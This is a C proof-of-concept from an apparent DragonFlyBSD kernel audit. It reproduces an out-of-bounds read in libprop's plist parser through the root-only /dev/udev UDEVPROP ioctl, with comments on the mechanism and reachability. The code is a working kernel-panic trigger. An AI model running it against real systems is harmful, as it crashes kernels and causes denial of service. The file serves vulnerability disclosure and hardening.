DragonFlyBSD Kernel Audit
DF-2227 / oob_read_poc.c
← back to finding ↓ download raw
/*
 * DF-2227 — privileged reproducer for the unbounded
 *   while (*cp != '"') cp++;
 * scan in _prop_object_internalize_find_tag (sys/libprop/prop_object.c:484-485).
 *
 * REACHABILITY (from DF-2231): ALL four kernel callers of
 * prop_dictionary_copyin_ioctl() are privileged on default GENERIC:
 *   /dev/udev UDEVPROP  root:wheel 0600 (base kernel, used here)
 *   vquotactl            gated by vfs_quota_enabled (default 0)
 *   NETBSD_DM_IOCTL      dm module not loaded
 *   TBRIDGE_LOADTEST     module not loaded
 * => NO unprivileged trigger. This PoC runs as root only to exercise the path.
 *    root->kernel is game-over by definition; this is a privileged DoS /
 *    hardening gap, NOT an unpriv->root privesc.
 *
 * MECHANISM:
 *   prop_kern.c:398  buf = kmalloc(pref_len + 1, ...)
 *   prop_kern.c:399  copyin(user, buf, pref_len)
 *   prop_kern.c:404  buf[pref_len] = '\0'        <-- NUL sentinel at the END
 *   prop_object.c:484  while (*cp != '"') cp++;  <-- NO NUL check in body!
 *
 * Input "<plist version=\"X..." with pref_len == strlen and NO closing quote:
 *   parser advances cp to the byte right after the opening '"' (prop_object.c:479)
 *   prop_object.c:480 only checks _PROP_EOF of the FIRST post-quote byte
 *   prop_object.c:484 loop:  *cp='X'!=0x22 -> cp++; ... *cp='\0'!=0x22 -> cp++
 *     => OOB READ past the NUL sentinel at buf[pref_len].
 *
 * Two manifestations:
 *   (a) PANIC: the scan walks past the kmalloc buffer into an unmapped page.
 *       Most reliably triggered with a LARGE pref_len so the allocation goes to
 *       the kmem/page allocator (>~16KB ZoneLimit); the byte right after
 *       buf[pref_len] sits at a page boundary that is typically unmapped
 *       (kmem allocations are virtually separated). This PoC defaults to
 *       the large-buffer mode (argv[1] = byte count, default 60000).
 *   (b) SILENT OOB read: with a SMALL buffer (slab bucket), the scan usually
 *       finds a 0x22 byte in adjacent slab memory first, parse fails -> EIO,
 *       no panic. The OOB read still occurred. Use argv[1]=17 for this mode.
 *
 * Build: cc -O2 -o oob_read_poc oob_read_poc.c
 * Run:   ./oob_read_poc [pref_len]   (default 60000 -> panic; 17 -> silent EIO)
 */
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/udev.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#include <libprop/plistref.h>

int
main(int argc, char **argv)
{
    size_t pref_len = 60000;          /* default: large -> kmem -> panic */
    if (argc > 1)
        pref_len = (size_t)strtoull(argv[1], NULL, 0);

    /*
     * The XML payload: open a "version" attribute value with a double quote,
     * fill the rest with 'A' (0x41, never 0x22), and OMIT the closing quote
     * and the '>'. pref_len bytes total, user-mapped so copyin() runs to the
     * end and the prop_kern.c:404 NUL sentinel is the SOLE terminator.
     */
    const char prefix[] = "<plist version=\"";
    size_t prefix_len = sizeof(prefix) - 1;     /* 16 */
    if (pref_len < prefix_len + 1) {
        fprintf(stderr, "pref_len %zu too small (need >= %zu)\n",
                pref_len, prefix_len + 1);
        return 2;
    }

    /* mmap a region big enough; fill prefix + 'A' padding, no closing quote. */
    long ps = sysconf(_SC_PAGESIZE);
    size_t pagemask = (size_t)(ps - 1);
    size_t maplen = (pref_len + pagemask) & ~pagemask;
    char *xml = mmap(NULL, maplen, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANON, -1, 0);
    if (xml == MAP_FAILED) {
        perror("mmap");
        return 2;
    }
    memcpy(xml, prefix, prefix_len);
    memset(xml + prefix_len, 'A', pref_len - prefix_len);
    /* No closing quote, no '>'. The byte at xml[pref_len] is whatever mmap
     * gave us (zero from MAP_ANON) -- doesn't matter, the kernel overwrites
     * buf[pref_len] with its own NUL at prop_kern.c:404. */

    struct plistref pref;
    int fd = open("/dev/udev", O_RDWR);
    if (fd < 0) {
        perror("open /dev/udev");
        return 2;
    }
    pref.pref_plist = xml;
    pref.pref_len   = pref_len;

    printf("[*] UDEVPROP pref_len=%zu maplen=%zu xml[0..15]=\"<plist version=\\\"\"\n",
           pref_len, maplen);
    printf("[*] kmalloc(%zu): %s\n", pref_len + 1,
           pref_len >= 16384 ? "kmem/page alloc -> next byte likely unmapped -> PANIC"
                             : "slab bucket -> scan usually finds 0x22 -> silent EIO");
    printf("[*] if the bug is live, kernel scans past buf[pref_len]...\n");
    fflush(stdout);

    int rc = ioctl(fd, UDEVPROP, &pref);
    /* On a vulnerable kernel with a large pref_len we do NOT expect to reach
     * here (panic). If we do, the scan found 0x22 in adjacent memory first. */
    printf("[!] ioctl rc=%d errno=%d (%s) -- no panic (OOB read still occurred)\n",
           rc, errno, strerror(errno));
    close(fd);
    return 0;
}